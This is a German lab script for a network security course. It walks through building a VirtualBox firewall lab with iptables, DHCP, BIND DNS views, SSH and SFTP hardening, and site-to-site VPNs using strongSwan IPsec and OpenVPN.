Ziel

[Bearbeiten]

VirtualBox Vorlagen

Debian: Dienen als Server, Firewall oder generischer Rechner
Arch: Rechner im LAN, Verwaltung der Server von hier aus über SSH/Weboberflächen (Befehl zum Herunterladen in der nächsten Zeile)
scp 192.168.HS.200:~/Dokumente/debian-kit.ova ~/Dokumente

Aufbau des Labors

Eine Debian Maschine soll uns als Firewall dienen
Diese soll über einen Bridgeadapter eine pseudo-öffentliche IP im Schulungsnetzwerk erhalten
Ein zweiter Netzwerkadapter vom Typ "internes Netzwerk" soll als LAN der Labore dienen
Ein Host im LAN der Firewall soll eine Workstation simulieren
Wenn die virtuellen Maschinen so konfiguriert sind, können sie hochgefahren werden
Nun muss die Netzwerkeinstellung wie im Schaubild konfiguriert werden:

[Bearbeiten]

HS steht für Hörsaalnummer.
xx steht für Rechnernummer.
Als erstes muss man "physisch" auf der Firewall die statischen IPs konfigurieren
für die statische IP muss die Datei /etc/network/interfaces bearbeitet werden (Distributions abhängig)
vim /etc/network/interfaces

auto lo
iface lo inet loopback

auto enp0s3
iface enp0s3 inet static
 address 192.168.HS.1xx/24
 gateway 192.168.HS.254

auto enp0s8
iface enp0s8 inet static
 address 172.16.1xx.1/24

auto enp0s9
iface enp0s8 inet static
 address 10.0.1xx.1/24

ifdown -va ; ifup -va
Als Kontrolle kann man ip addr show ausführen
Ab hier kann man vom KIT Host aus auf die Firewall zugreifen
ssh root@192.168.HS.1xx
Damit Hosts im LAN und in der DMZ automatisch eine IP-Adresse erlangen, konfigurieren wir nun einen DHCP Server (Befehle ab hier finden auf der Firewall statt!)
apt install isc-dhcp-server
Falls dieser Befehl einen Fehler in der Namensauflösung schmeist, muss ein erreichbarer Nameserver eingetragen werden
vim /etc/resolv.conf

nameserver 1.1.1.1 # Als Beispiel. Man kann auch jeden anderen validen Nameserver verwenden

Nach der Installation des DHCP Servers beschwert sich systemd, dass er den Dienst nicht starten kann, weil er noch nicht richtig konfiguriert ist.
Das ist nicht weiter schlimm, da wir ihn wie folgt einstellen:
vim /etc/default/isc-dhcp-server

DHCPDv4_CONF=/etc/dhcp/dhcpd.conf
INTERFACESv4="enp0s8 enp0s9"

vim /etc/dhcp/dhcpd.conf

option domain-name-servers 1.1.1.1;
default-lease-time 600;
max-lease-time 7200;
ddns-update-style none;
subnet 172.16.1xx.0 netmask 255.255.255.0 {
	range 172.16.1xx.2 172.16.1xx.10;
	option routers 172.16.1xx.1;
}
subnet 10.0.1xx.0 netmask 255.255.255.0 {
	range 10.0.1xx.2 10.0.1xx.10;
	option routers 10.0.1xx.1;
}

systemctl restart isc-dhcp-server

Hostzugriff absichern

Ab hier wird wieder mit dem LAN Host weitergearbeitet
Bootsicherheit/-hacking
GRUB Passwort einrichten

Remotezugriff mit SSH

Da man nicht immer physisch an einer Maschine anwesend sein kann, empfiehlt es sich Hosts über SSH zu steuern
Der Datenverkehr ist dabei verschlüsselt, damit es beide Maschinen vor potentiellen Angreifern schützt, die den Verkehr mitschneiden

SSH-Schlüssel auf die Firewall ablegen

Man sollte Passwort-Authentifikation vermeiden soweit es geht
Bei SSH kann man stattdessen mit Schlüsselpaaren arbeiten
Auf dem KIT Host wurden schon mit ssh-keygen welche generiert
Den privaten Schlüssel sollte man normalerweise mit einer Passphrase verschlüsseln, damit er bei Diebstahl nicht einfach so benutzt werden kann
Die folgenden Schlüssel sollten schon für uns da sein
ls ~/.ssh

id_ecdsa id_rsa.pub

Um den öffentlichen Schlüssel auf der Firewall abzulegen kann man einen der folgenden Befehle verwenden:
ssh-copy-id kit@192.168.HS.1xx

bzw. diesen Befehl falls der Ordner .ssh schon im Homeverzeichnis vom Benutzer kit existiert:

scp ~/.ssh/id_ecdsa.pub kit@192.168.HS.1xx:~/.ssh/authorized_keys
Nun sollte nicht mehr das Passwort des remoten Benutzers abgefragt werden
Um die Administration der Firewall einfacher zu machen kann man sich auch den öffentlichen Schlüssel zum root-User kopieren
su -
mkdir .ssh
cp ~kit/.ssh/authorized_keys ~/.ssh
Damit man nicht jedes mal den privaten Schlüssel entsperren muss, sollte man sich einen SSH Agent konfigurieren

SSH-Daemon auf Firewall absichern: Anderer Port, kein Root Login über Passwort

Im Moment kann jeder, der das Passwort des kit-Nutzers kennt, sich an der Firewall anmelden
Um das zu verhindern kann man den SSH Daemon folgerdermaßen konfigurieren
vim /etc/ssh/sshd_config

...
Port 2222
AddressFamily inet
PasswordAuthentication no
UsePAM no
...

Internet Zugriff für LAN mit iptables

Damit die Rechner hinter der Firewall Internetzugriff bekommen, muss die Quell-IP der Pakete auf die der Firewall umgeschrieben werden
Dies macht man in der POSTROUTING-Kette der NAT-Tabelle von iptables
apt install iptables
iptables -t nat -A POSTROUTING -o enp0s3 -j SNAT --to-source 192.168.HS.1xx
Zusätzlich muss die Firewall diese Pakete weiterleiten
Dazu muss der Kernelparameter net.ipv4.ip_forward gesetzt sein
vim /etc/sysctl.conf

net.ipv4.ip_forward=1

Anschließend diese Konfiguration laden
sysctl -p

Automatischer Start der Firewall

Wir erstellen ein Dummy-Skript, das beim Systemstart ausgeführt werden kann
vim /usr/local/sbin/firewall

#!/bin/bash

case $1 in
   "start")
       echo "starte Firewall"
       ;;
   "stop")
       echo "stoppe Firewall"
       ;;
   *)
       echo "usage: $0 start|stop"
       ;;
esac

chmod +x /usr/local/sbin/firewall
Man kann über eigene Service-Dateien eine iptables-Firewall beim Bootprozess starten
vim /etc/systemd/system/firewall.service

[Unit]
Description=Firewall
After=network.target

[Service]
RemainAfterExit=yes
ExecStart=firewall start
ExecStop=firewall stop
User=root

[Install]
WantedBy=multi-user.target

systemctl enable --now firewall

minimale Firewall mit Remotezugriff

Es sollen alle Pakete über die Default-Policy verworfen werden
Wir wollen uns aber nicht den Remotezugriff verlieren
vim /usr/local/sbin/firewall

#!/bin/bash

case $1 in
   "start")
       echo "starte Firewall"
       iptables -F
       iptables -F -t nat
       
       iptables -P INPUT DROP
       iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
       
       iptables -P OUTPUT DROP
       iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
        
       iptables -P FORWARD DROP
       ;;
   "stop")
       echo "stoppe Firewall"
       iptables -F
       iptables -F -t nat
       iptables -P INPUT ACCEPT
       iptables -P OUTPUT ACCEPT
       iptables -P FORWARD ACCEPT
       ;;
   *)
       echo "usage: $0 start|stop"
       ;;
esac

einfache Firewall für LAN

Der Rechner darf mit sich selbst über das Loopback-Interface kommunizieren
Pakete die zu einer Verbindung gehören sollen akzeptiert werden
Pakete aus dem LAN müssen auf die IP der Firewall umgeschrieben werden
alle Pakete bis auf SSH sollen verworfen werden
ICMP darf innerhalb des Netzwerks und von innen nach außen zum Testen der Verbindungen funktionieren
Firewall soll nicht auf ICMP von außen antworten
Wenn ein Paket verworfen wird, soll es unter /var/log/syslog geloggt werden
vim /usr/local/sbin/firewall

#!/bin/bash

WANDEV="enp0s3"
LANDEV="enp0s8"
WANIP="192.168.HS.xx"
LAN="172.16.xx.0/24"

case $1 in
	"start")
       echo "starte Firewall"
       iptables -F
       iptables -F -t nat
       
       iptables -P INPUT DROP
       iptables -A INPUT -i lo -j ACCEPT
       iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
       
       # SSH Zugriff auf Firewall
       iptables -A INPUT -p tcp --dport 2222 -s 192.168.HS.0/24 -i $WANDEV -j ACCEPT
       iptables -A INPUT -p icmp --icmp-type echo-request ! -i $WANDEV -j ACCEPT
       iptables -A INPUT -j LOG --log-prefix "iptables drop INPUT: "
       
       iptables -P OUTPUT DROP
       iptables -A OUTPUT -o lo -j ACCEPT
       iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
       
       # Internetzugriff fuer Firewall
       iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
       iptables -A OUTPUT -p tcp -m multiport --dport 80,443 -j ACCEPT
       
       # SSH Zugriff auf interne Rechner
       iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
       
       # Ping freischalten
       iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
       iptables -A OUTPUT -j LOG --log-prefix "iptables drop OUTPUT: "
       
       iptables -P FORWARD DROP
       iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
       
       # Ping freischalten
       iptables -A FORWARD -p icmp --icmp-type echo-request -j ACCEPT
       
       # Internetzugriff fuer interne Rechner
       iptables -A FORWARD -p udp --dport 53 -o $WANDEV -j ACCEPT
       iptables -A FORWARD -p tcp -m multiport --dport 80,443 -o $WANDEV -j ACCEPT
       iptables -A FORWARD -j LOG --log-prefix "iptables drop FORWARD: "
       
       # Internetzugriff fuer DMZ und LAN
       iptables -t nat -A POSTROUTING -o $WANDEV -j MASQUERADE
       #iptables -t nat -A POSTROUTING -o $WANDEV -j SNAT --to-source 192.168.HS.1xx
       ;;
   "stop")
       echo "stoppe Firewall"
       iptables -F
       iptables -F -t nat
       iptables -P INPUT ACCEPT
       iptables -P OUTPUT ACCEPT
       iptables -P FORWARD ACCEPT
       ;;
   *)
       echo "usage: $0 start|stop"
       ;;
esac

Stateful Firewall: Establish und Related, um den Zustand von TCP/UDP Verbindungen zu beobachten, Conntrack als Visualisierung
Connection Tracking anpassen, kann man über Kernelparameter ähnlich wie bei net.ipv4.ip_forward
Parameter dazu findet man unter dem Ordner /proc/sys/netfilter

DNS Server in der DMZ erstellen

[Bearbeiten]

Damit Dienste einfach öffentlich zur Verfügung gestellt werden können, wollen wir diese über DNS erreichbar machen
Dazu das Debian Template klonen und in das interne Netzwerk DMZ anschließen
Nach dem Hochfahren die IP Adresse merken und über SSH auf die Maschine gehen
statische IP einstellen und Hostname vergeben
vim /etc/network/interfaces

auto lo
iface lo inet loopback

auto enp0s3
iface enp0s3 inet static
 address 10.0.1xx.2/24
 gateway 10.0.1xx.1

ifdown -va ; ifup -va
hostnamectl set-hostname dns
apt install bind9
Um die Konfiguration einfach zu testen, stellen wir den Resolver auf localhost
vim /etc/resolv.conf

nameserver 127.0.0.1

Anschließend müssen wir unsere Zonen definieren
Die eigentliche Zuweisung von Name zu IP Adresse erfolgt aber in speziellen Zonendateien
vim /etc/bind/named.conf.local

zone "lab1xx.sec" {
   type master;
   file "lab1xx.sec";
};

vim /etc/bind/named.conf.options

options {
   directory "/var/cache/bind";
   dnssec-validation no;
   allow-recursion { 0.0.0.0/0; };
};

vim /var/cache/bind/lab1xx.sec

$TTL 300
@              IN	SOA	dns.lab1xx.sec. mail.lab1xx.sec. (2023091302 14400 3600 3600000 86400) 
               IN	NS	dns
firewall       IN	A	192.168.11.1xx
dns            IN	A	10.0.1xx.2
lan            IN	A	172.16.1xx.2

systemctl restart bind9
Testen mit dig +short @dns.server.i.p oder mit nslookup
dig +short dns.lab1xx.sec

Firewall Regeln für die DMZ

vim /usr/local/sbin/firewall

#!/bin/bash
WANDEV="enp0s3"
LANDEV="enp0s8"
DMZDEV="enp0s9"
WANIP="192.168.11.1xx"
LAN="172.16.1xx.0/24"
case $1 in
	"start")
       echo "starte Firewall"
       iptables -F
       iptables -F -t nat
       iptables -P INPUT DROP
       iptables -A INPUT -i lo -j ACCEPT
       iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
       # SSH Zugriff auf Firewall
       iptables -A INPUT -p tcp --dport 2222 -s 192.168.11.0/24 -i $WANDEV -j ACCEPT
       iptables -A INPUT -p icmp --icmp-type echo-request ! -i $WANDEV -j ACCEPT
       iptables -A INPUT -j LOG --log-prefix "iptables drop INPUT: "
       iptables -P OUTPUT DROP
       iptables -A OUTPUT -o lo -j ACCEPT
       iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
       # Internetzugriff fuer Firewall
       iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
       iptables -A OUTPUT -p tcp -m multiport --dport 80,443 -j ACCEPT
       # SSH Zugriff auf interne Rechner
       iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
       # Ping freischalten
       iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
       iptables -A OUTPUT -j LOG --log-prefix "iptables drop OUTPUT: "
       iptables -P FORWARD DROP
       iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
       # Ping freischalten
       iptables -A FORWARD -p icmp --icmp-type echo-request -j ACCEPT
       # Internetzugriff fuer interne Rechner
       iptables -A FORWARD -p udp --dport 53 -i $DMZDEV -o $WANDEV -j ACCEPT
       iptables -A FORWARD -p udp --dport 53 -i $LANDEV -j ACCEPT
       iptables -A FORWARD -p tcp -m multiport --dport 80,443 -o $WANDEV -j ACCEPT
       iptables -A FORWARD -j LOG --log-prefix "iptables drop FORWARD: "
       # Internetzugriff fuer DMZ und LAN
       iptables -t nat -A POSTROUTING -o $WANDEV -j MASQUERADE
       #iptables -t nat -A POSTROUTING -o $WANDEV -j SNAT --to-source 192.168.HS.1xx
       ;;
   "stop")
       echo "stoppe Firewall"
       iptables -F
       iptables -F -t nat
       iptables -P INPUT ACCEPT
       iptables -P OUTPUT ACCEPT
       iptables -P FORWARD ACCEPT
       ;;
   *)
       echo "usage: $0 start|stop"
       ;;
esac

Portforwarding mit iptables

Damit andere den Namenserver in der DMZ befragen können, muss die Firewall ein Destination NAT auf UDP Port 53 durchführen
vim /usr/local/sbin/firewall

...
DNSSERVER="10.0.1xx.2"
...
iptables -A FORWARD -p udp --dport 53 -i $WANDEV -o $DMZDEV -d $DNSSERVER -j ACCEPT
...
iptables -t nat -A PREROUTING -p udp --dport 53 -i $WANDEV -j DNAT --to $DNSSERVER
...

Zonenkonfiguration mit view

Nun wollen wir unsere eigenen Zonen definieren, wobei die Antwort davon abhängt aus welchem Netz die Anfrage kommt
vim /etc/bind/named.conf.local

acl intern { 172.16.1xx.0/24; localhost; 10.0.1xx.0/24; 192.168.HS.1xx; };
acl extern { any; };

view intern {
	match-clients { intern; };
	zone "lab1xx.sec" {
		type master;
		file "intern/lab1xx.sec";
	};
};

view extern {
	match-clients { extern; };
	zone "lab1xx.sec" {
		type master;
		file "extern/lab1xx.sec";
	};
};

vim /etc/bind/named.conf.options

options {
        directory "/var/cache/bind";
        allow-recursion { 0.0.0.0/0; };
        forwarders { 192.168.HS.100; };
        empty-zones-enable no;
        dnssec-validation no;
};

Die eigentliche Zuweisung von Name zu IP geschieht in den folgenden Dateien
vim /var/cache/bind/intern/lab1xx.sec

$TTL 300
@       IN SOA  dns.lab1xx.sec. mail.lab1xx.sec. (2023041702 14400 3600 3600000 86400)
        IN NS   dns
dns     IN A    10.0.1xx.2
web     IN A    10.0.1xx.3
sftp    IN A    10.0.1xx.4
fw      IN A    192.168.11.1xx
www     IN A    192.168.11.1xx
lan     IN A    172.16.1xx.2

vim /var/cache/bind/extern/lab1xx.sec

$TTL 300
@       IN SOA  dns.lab1xx.sec. mail.lab1xx.sec. (2023041702 14400 3600 3600000 86400)
        IN NS   dns
dns     IN A    192.168.HS.1xx
www     IN A    192.168.HS.1xx
sftp    IN A    192.168.HS.1xx

Sobald mit view gearbeitet wird, müssen alle Zonendefinitionen dieses Stichwort enthalten
Die Defaultzones werden mit einer Dummy view umklammert, die alle IPs matcht
vim /etc/bind/named.conf.default-zones

view all {
match-clients { any; };
...
...
...
};

systemctl restart bind9

Konfiguration des SSH Clients auf dem KIT Host

Nun wollen wir mit dem Befehl ssh name_des_rechners auf diese kommen
Dazu muss die (pseudo-)öffentlich IP des DNS Servers in der /etc/resolv.conf eingetragen werden
vim /etc/resolv.conf

domain hs11.intern
search hs11.intern lab1xx.sec
nameserver 192.168.HS.1xx

Nun die Firewall als Jump Host für die Rechner dahinter eintragen
vim .ssh/config

Host 192.168.HS.1xx
	User root
	Port 2222

Host fw
	User root
	Port 2222

Host dns
	ProxyJump fw
	User root
	Port 22

Host web
	ProxyJump fw
	User root
	Port 22

Host sftp
	ProxyJump fw
	User root
	Port 22

Host lan
	ProxyJump fw
	User root
	Port 22

Webserver in der DMZ

statische IP: 10.0.1xx.3/24
Hostname: www
SSH Zugang wie beim DNS Server
Testwebserver installieren
apt install apache2
Portforwarding einrichten
vim /usr/local/sbin/firewall

WEBSERVER="10.0.1xx.3"
...
iptables -A FORWARD -m multiport -p tcp --dport 80,443 -i $WANDEV -o DMZDEV -d $WEBSERVER -j ACCEPT
...
iptables -t nat -A PREROUTING -m multiport -p tcp --dport 80,443 -i $WANDEV -j DNAT --to $WEBSERVER
...

SFTP-Server in der DMZ

statische IP: 10.0.1xx.4/24
Hostname: sftp
Firewall sollte von TCP Port 22 auf den SSH Port des SFTP-Servers zulassen
vim /usr/local/sbin/firewall

...
SFTPSERVER="10.0.1xx.4"
...
iptables -A FORWARD -p tcp --dport 22 -i $WANDEV -o $DMZDEV -d $SFTPSERVER -j ACCEPT
...
iptables -t nat -A PREROUTING -p tcp --dport 22 -i $WANDEV -j DNAT --to $SFTPSERVER
...

SSH Daemon sollte Passwortauthentifikation für die Gruppe sftponly zulassen
vim /etc/ssh/sshd_config

...
Subsystem sftp /usr/lib/openssh/sftp-server

UsePAM yes
Match Group sftponly
        PasswordAuthentication yes
        ChrootDirectory /srv/sftp/%u
        ForceCommand internal-sftp
        AllowTcpForwarding no

Für die Einrichtung des SFTP-Servers sollten folgende Ordner und Benutzer angelegt werden
mkdir -p /srv/sftp
groupadd sftponly
useradd -G sftponly -d /srv/sftp/gast -s /bin/false gast
mkdir -p /srv/sftp/gast/ablage
chown gast /srv/sftp/gast/ablage
passwd gast
Nach dieser Einrichtung noch den Dienst neustarten
systemctl restart sshd

Fail2ban für SSH/SFTP einrichten

apt install iptables fail2ban
Plan ist es den DNS Server als Angreifer auf den SFTP Server zu starten
Fail2ban ssh

Verschlüsseln des Datenverkehrs zwischen den Laboren mit VPNs

Ziel ist es die LANs zwischen Laboren durch eine VPN zu verbinden, damit die Administration auch über einen entfernten Standort stattfinden kann.

[Bearbeiten]

Der Partner mit dem man die VPN aufbauen will, sollte das Passwort für den SFTP Account erfahren
Nun kann man die IPSec Implementation Strongswan auf der Firewall installieren
apt install strongswan
Die Verbindungen werden unter der Datei /etc/ipsec.conf konfiguriert

IPSec Site-to-Site aufbauen mit PSK

Diese Einstellung kann auf beiden Seite gleich angewendet werden (bis auf die IPs)
vim /etc/ipsec.conf

conn site2site-psk
     authby=secret
     keyexchange=ikev2
     left=192.168.HS.1xx
     leftsubnet=172.16.1xx.0/24
     mobike=no
     right=192.168.HS.1yy
     rightsubnet=172.16.1yy.0/24
     ike=aes256-sha256-modp4096!
     esp=aes256-sha256-modp4096!
     auto=start

Nun sollte über den SFTP-Server der PSK ausgetauscht werden:
Dazu muss TCP Port 22 nach außen für die Firewall freigeschaltet sein (falls es noch nicht so da steht)
vim /usr/local/sbin/firewall

...
iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
...

Partner 1

Eine Seite generiert einen Schlüssel, z.B. head /dev/random | tr -dc A-Za-z0-9 | head -c 20 ; echo
Dieser Schlüssel muss auf dem SFTP-Server abgespeichert werden.

Partner 2

Nun kann sich die Gegenseite den Schlüssel holen (Vom LAN Host aus sollte Port 22 in der Forward-Kette freigeschaltet werden)
sftp gast@sftp.lab1yy.sec
get ipsec.secret
Danach sollte der Schlüssel wieder vom SFTP Server gelöscht werden

Beide

Wenn beide Seiten den Schlüssel haben, kann man nun diese in die Datei ipsec.secrets eintragen
vim /etc/ipsec.secrets

192.168.HS.1xx 192.168.HS.1yy  : PSK "hierdertotalgeheimeschlüssel"

Auf der Firewall noch in der INPUT-Kette UDP Port 500 und 4500 freischalten
vim /usr/local/sbin

...
iptables -A INPUT -m multiport -p udp --dport 500,4500 -i $WANDEV -j ACCEPT
...
iptables -A OUTPUT -m multiport -p udp --dport 500,4500 -o $WANDEV -j ACCEPT
...

Nun sollte man die IPSec Verbindung aufbauen können
ipsec up site2site-psk
Den Status der Verbindung kann man mit ipsec statusall checken

Debugging

Falls die Verbindung steht sollte ein Ping in das gegenüberliegende Netz auch funktionieren
ping 172.16.1yy.2

IPSec Site-to-Site aufbauen mit Zertifikat

Partner 1 wartet auf eine eingehende Verbindung mit passenden Zertifikat, wobei die IP egal sein darf
Commonname/FQDN im Zertifikat sollte fw1xx bzw. fw1yy sein
Austausch der Zertifikate und der Anträge über den SFTP Server
PSK-VPN-Verbindung abbauen
ipsec down site2site-psk

Partner 1

Zertifizierungsstelle erstellen
mkdir ~/ca
cd ~/ca
openssl genrsa -aes256 -out ca.key 4096
openssl req -new -key ca.key -x509 -days 3650 -out ca.crt

...
Common Name (e.g. server FQDN or YOUR name) []:vpn-ca
...

IPSec-Zertifikat erstellen und signieren
openssl genrsa -out fw1xx.key 4096
Einen Certificate Signing Request erstellen
openssl req -new -key fw1xx.key -out fw1xx.csr

...
Common Name (e.g. server FQDN or YOUR name) []:fw1xx 
...

openssl x509 -req -days 730 -in fw1xx.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out fw1xx.crt
Zertifikat der Zertifizierungsstelle Partner 2 zukommen lassen (ca.crt)

Partner 2

Erstellt Zertifizierungsantrag...
mkdir ~/cert
cd ~/cert
openssl genrsa -out fw1yy.key 4096
openssl req -new -key fw1yy.key -out fw1yy.csr

...
Common Name (e.g. server FQDN or YOUR name) []:fw1yy 
...

... und lässt es Partner 1 zukommen (fw1yy.csr)
Konfigurieren der Verbindung
vim /etc/ipsec.conf

conn site2site-cert
     authby=rsasig
     keyexchange=ikev2
     left=192.168.HS.1yy
     leftcert="fw1yy.crt"
     leftsubnet=172.16.1yy.0/24
     right=192.168.HS.1xx
     rightid="CN=fw1xx"
     rightsubnet=172.16.1xx.0/24
     ike=aes256-sha256-modp4096!
     esp=aes256-sha256-modp4096!
     auto=start

Partner 1

Signiert den Antrag
openssl x509 -req -days 730 -in fw1yy.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out fw1yy.crt
Schickt diesen zurück bzw. hinterlegt ihn auf dem SFTP Server (fw1yy.crt) zusammen mit dem Zertifikat der Zertifizierungsstelle (ca.crt)
Konfigurieren der Verbindung
vim /etc/ipsec.conf

conn site2site-cert
     authby=rsasig
     keyexchange=ikev2
     left=192.168.HS.1xx
     leftcert="fw1xx.crt"
     leftsubnet=172.16.1xx.0/24
     right=0.0.0.0 # Egal welche IP,...
     rightid="CN=fw1yy" # ...aber der Commonname muss stimmen
     rightsubnet=172.16.1yy.0/24
     ike=aes256-sha256-modp4096!
     esp=aes256-sha256-modp4096!
     auto=add

Beide

Damit Strongswan die Zertifikate findet, müssen diese an genau diesen Stellen liegen...
find /etc/ipsec.d/ -type f

/etc/ipsec.d/private/fw1xx.key # bzw. f1yy.key
/etc/ipsec.d/certs/fw1xx.crt # bzw. f1yy.crt
/etc/ipsec.d/cacerts/ca.crt

...und in der ipsec.secrets Datei zur Verbindung zugewiesen werden
vim /etc/ipsec.secrets

192.168.HS.1xx  : RSA fw1xx.key ""

bzw.

192.168.HS.1yy  : RSA fw1yy.key ""

Diese müssen von Strongswan neu eingelesen werden
ipsec reload
ipsec rereadall
Ob die Zertifikate erfolgreich geladen wurden lässt sich folgendermaßen überprüfen
ipsec listcerts
Ansonsten muss Strongswan neugestartet/geladen werden, falls der letzte Befehl nichts ausgibt
systemctl restart strongswan-starter
ipsec restart

Partner 2

Nur von dieser Firewall aus kann die Verbindung gestartet werden, da die andere Seite die IP nicht kennt
ipsec up site2site-cert

Pakete durch den VPN Tunnel schicken

Selbst wenn die VPN Tunnel stehen, heißt es noch nicht, dass unsere Datenpakete auch verschlüsselt verschickt werden
Am einfachsten kann man das überprüfen, indem man versucht sowohl ICMP- als auch ESP-Pakete mitzuschneiden
tcpdump -i any icmp or esp
Falls nur ICMP-Pakete auftauchen heißt es, dass noch nichts verschlüsselt wird
Die Firewall muss nun auf vier Dinge angepasst werden:

Pakete, die für das andere LAN bestimmt sind müssen durch den VPN-Tunnel gezwungen werden
Dadurch werden die Pakete beim Forwarden als ipsec-Pakete markiert, was wir durch ein Modul freischalten können
Aus-/Eingehende ESP-Pakete müssen erlaubt werden
Pakete aus dem anderen LAN müssen vor den Regeln der PREROUTING-Kette bewahrt werden, falls es sich um das WAN-Interface handelt

vim /usr/local/sbin/firewall

#!/bin/bash
WANDEV="enp0s3"
LANDEV="enp0s8"
DMZDEV="enp0s9"
WANIP="192.168.HS.1xx"
LAN="172.16.1xx.0/24"
DNSSERVER="10.0.1xx.2"
WEBSERVER="10.0.1xx.3"
SFTPSERVER="10.0.1xx.4"
RIGHTNET="172.16.1yy.0/24"

case $1 in
       "start")
       echo "starte Firewall"
       iptables -F
       iptables -F -t nat
       iptables -P INPUT DROP
       iptables -A INPUT -i lo -j ACCEPT
       iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
       # SSH Zugriff auf Firewall
       iptables -A INPUT -p tcp --dport 2222 -s 192.168.11.0/24 -i $WANDEV -j ACCEPT

       # IPSec
       iptables -A INPUT -m multiport -p udp --dport 500,4500 -i $WANDEV -j ACCEPT
       iptables -A INPUT -i $WANDEV -p esp -j ACCEPT

       iptables -A INPUT -p icmp --icmp-type echo-request ! -i $WANDEV -j ACCEPT
       iptables -A INPUT -j LOG --log-prefix "iptables drop INPUT: "
       iptables -P OUTPUT DROP
       iptables -A OUTPUT -o lo -j ACCEPT
       iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

       # IPSec
       iptables -A OUTPUT -m multiport -p udp --dport 500,4500 -o $WANDEV -j ACCEPT
       iptables -A OUTPUT -o $WANDEV -p esp -j ACCEPT

       # Internetzugriff fuer Firewall
       iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
       iptables -A OUTPUT -p tcp -m multiport --dport 80,443 -j ACCEPT
       # SSH Zugriff auf interne Rechner
       iptables -A OUTPUT -p tcp --dport 22 -j ACCEPT
       # Ping freischalten
       iptables -A OUTPUT -p icmp --icmp-type echo-request -j ACCEPT
       iptables -A OUTPUT -j LOG --log-prefix "iptables drop OUTPUT: "
       iptables -P FORWARD DROP
       iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
       # Ping freischalten
       iptables -A FORWARD -p icmp --icmp-type echo-request -j ACCEPT
       # Internetzugriff fuer interne Rechner
       iptables -A FORWARD -p udp --dport 53 -i $DMZDEV -o $WANDEV -j ACCEPT
       iptables -A FORWARD -p udp --dport 53 -i $LANDEV -j ACCEPT
       iptables -A FORWARD -p tcp -m multiport --dport 80,443 -o $WANDEV -j ACCEPT

       iptables -A FORWARD -p udp --dport 53 -i $WANDEV -o $DMZDEV -d $DNSSERVER -j ACCEPT
       iptables -A FORWARD -m multiport -p tcp --dport 80,443 -i $WANDEV -o $DMZDEV -d $WEBSERVER -j ACCEPT
       iptables -A FORWARD -p tcp --dport 22 -i $WANDEV -o $DMZDEV -d $SFTPSERVER -j ACCEPT

       # IPSec
       iptables -A FORWARD -i $WANDEV -o $LANDEV -m policy --dir in --pol ipsec -j ACCEPT
       iptables -A FORWARD -i $LANDEV -o $WANDEV -m policy --dir out --pol ipsec -j ACCEPT

       iptables -A FORWARD -j LOG --log-prefix "iptables drop FORWARD: "

       # IPSec
       iptables -t nat -A POSTROUTING -s $LAN -o $WANDEV -d $RIGHTNET -j RETURN

       # Internetzugriff fuer DMZ und LAN
       iptables -t nat -A POSTROUTING -o $WANDEV -j MASQUERADE
       #iptables -t nat -A POSTROUTING -o $WANDEV -j SNAT --to-source 192.168.HS.1xx

       iptables -t nat -A PREROUTING -i $WANDEV -s $RIGHTNET -j RETURN
       iptables -t nat -A PREROUTING -p udp --dport 53 -i $WANDEV -j DNAT --to $DNSSERVER
       iptables -t nat -A PREROUTING -m multiport -p tcp --dport 80,443 -i $WANDEV -j DNAT --to $WEBSERVER
       iptables -t nat -A PREROUTING -p tcp --dport 22 -i $WANDEV -j DNAT --to $SFTPSERVER
       ;;
   "stop")
       echo "stoppe Firewall"
       iptables -F
       iptables -F -t nat
       iptables -P INPUT ACCEPT
       iptables -P OUTPUT ACCEPT
       iptables -P FORWARD ACCEPT
       ;;
   *)
       echo "usage: $0 start|stop"
       ;;
esac

OpenVPN

[Bearbeiten]

Strongswan stoppen und OpenVPN installieren
ipsec stop
apt install openvpn
Dummy interface für den Routing Modus erstellen
vim /etc/network/interfaces

...
auto dummy0
iface dummy0 inet static
 address 172.24.24.1xx/24
 pre-up ip link add dummy0 type dummy

ifdown -va ; ifup -va

OpenVPN Site-to-Site mit PSK aufbauen

Die Konfigurationsdateien für OpenVPN sind unter /etc/openvpn
cd /etc/openvpn

Partner 1

OpenVPN hat einen eigenen Befehl, um einen PSK zu erzeugen
openvpn --genkey secret /etc/openvpn/ps.key
Diesen Schlüssel Partner 2 zukommen lassen

Partner 2

Schlüssel unter /etc/openvpn/ speichern

Verbindungskonfiguration

Die Konfiguration der beiden Stellen ist symmetrisch, d.h. xx ist die eigene Nummer und yy ist die des Partners
vim /etc/openvpn/psk-server.conf

remote 192.168.HS.1yy
dev tun
ifconfig 172.24.24.1xx 172.24.24.1yy
secret ps.key
route 172.16.1yy.0 255.255.255.0
keepalive 10 120

systemd erstellt automatisch die richtige Service-Datei, wenn es neugeladen wird
systemctl daemon-reload
systemctl start openvpn@psk-server
Die Regeln der Firewall sollten um den UDP Port 1194 in der INPUT/OUTPUT-Kette erweitert werden
Außerdem muss in der FORWARD-Kette das LAN des Partners freigeschaltet werden
vim /usr/local/sbin/firewall

...
iptables -A INPUT -m multiport -p udp --dport 500,4500,1194 -i $WANDEV -j ACCEPT
...
iptables -A OUTPUT -m multiport -p udp --dport 500,4500,1194 -o $WANDEV -j ACCEPT
...
iptables -A FORWARD -i $LANDEV -d $RIGHTNET -j ACCEPT
iptables -A FORWARD -o $LANDEV -s $RIGHTNET -j ACCEPT

